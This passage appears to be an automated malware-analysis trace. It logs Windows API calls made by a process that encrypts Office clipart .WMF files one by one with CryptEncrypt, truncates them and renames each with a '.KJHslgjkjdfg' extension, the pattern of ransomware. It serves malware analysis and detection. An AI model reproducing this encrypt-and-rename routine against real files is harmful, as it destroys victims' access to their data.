ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1 [0189.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.804] GetProcessHeap () returned 0x2a0000 [0189.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.804] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0189.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.806] GetProcessHeap () returned 0x2a0000 [0189.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.806] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.806] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.807] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.807] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.807] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.807] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.807] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.807] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xee4a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xee4a, lpOverlapped=0x0) returned 1 [0189.809] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee50, dwBufLen=0xee50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee50) returned 1 [0189.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.809] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xee50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xee50, lpOverlapped=0x0) returned 1 [0189.809] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xef24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.809] SetEndOfFile (hFile=0x114) returned 1 [0189.812] GetProcessHeap () returned 0x2a0000 [0189.812] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.812] GetProcessHeap () returned 0x2a0000 [0189.812] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.kjhslgjkjdfg")) returned 1 [0189.814] CloseHandle (hObject=0x114) returned 1 [0189.814] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1 [0189.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.815] GetProcessHeap () returned 0x2a0000 [0189.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.815] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.815] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.815] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0189.817] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.817] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.817] GetProcessHeap () returned 0x2a0000 [0189.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.817] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.817] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.817] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.817] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.817] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.817] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.818] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.818] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8b96, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8b96, lpOverlapped=0x0) returned 1 [0189.819] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8ba0, dwBufLen=0x8ba0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8ba0) returned 1 [0189.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.820] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8ba0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8ba0, lpOverlapped=0x0) returned 1 [0189.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.820] SetEndOfFile (hFile=0x114) returned 1 [0189.823] GetProcessHeap () returned 0x2a0000 [0189.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.823] GetProcessHeap () returned 0x2a0000 [0189.823] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.kjhslgjkjdfg")) returned 1 [0189.826] CloseHandle (hObject=0x114) returned 1 [0189.826] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1 [0189.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.827] GetProcessHeap () returned 0x2a0000 [0189.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.827] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.827] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.827] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.827] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.827] GetProcessHeap () returned 0x2a0000 [0189.827] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.827] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.828] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.828] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.830] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.830] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.830] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.831] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.831] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.831] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbbe0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbbe0, lpOverlapped=0x0) returned 1 [0189.832] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbbe0, dwBufLen=0xbbe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbbe0) returned 1 [0189.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.833] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbbe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbbe0, lpOverlapped=0x0) returned 1 [0189.833] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.833] SetEndOfFile (hFile=0x114) returned 1 [0189.837] GetProcessHeap () returned 0x2a0000 [0189.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.837] GetProcessHeap () returned 0x2a0000 [0189.837] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.kjhslgjkjdfg")) returned 1 [0189.839] CloseHandle (hObject=0x114) returned 1 [0189.839] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1 [0189.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.841] GetProcessHeap () returned 0x2a0000 [0189.841] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.842] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.842] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.844] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.844] GetProcessHeap () returned 0x2a0000 [0189.844] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.844] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.844] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.844] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.844] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.844] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.844] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.845] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.845] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.845] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x934c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x934c, lpOverlapped=0x0) returned 1 [0189.846] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9350, dwBufLen=0x9350 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9350) returned 1 [0189.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.847] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9350, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9350, lpOverlapped=0x0) returned 1 [0189.847] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.847] SetEndOfFile (hFile=0x114) returned 1 [0189.850] GetProcessHeap () returned 0x2a0000 [0189.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.850] GetProcessHeap () returned 0x2a0000 [0189.850] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.kjhslgjkjdfg")) returned 1 [0189.852] CloseHandle (hObject=0x114) returned 1 [0189.852] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1 [0189.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.854] GetProcessHeap () returned 0x2a0000 [0189.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.854] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.854] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.854] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.857] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.857] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.857] GetProcessHeap () returned 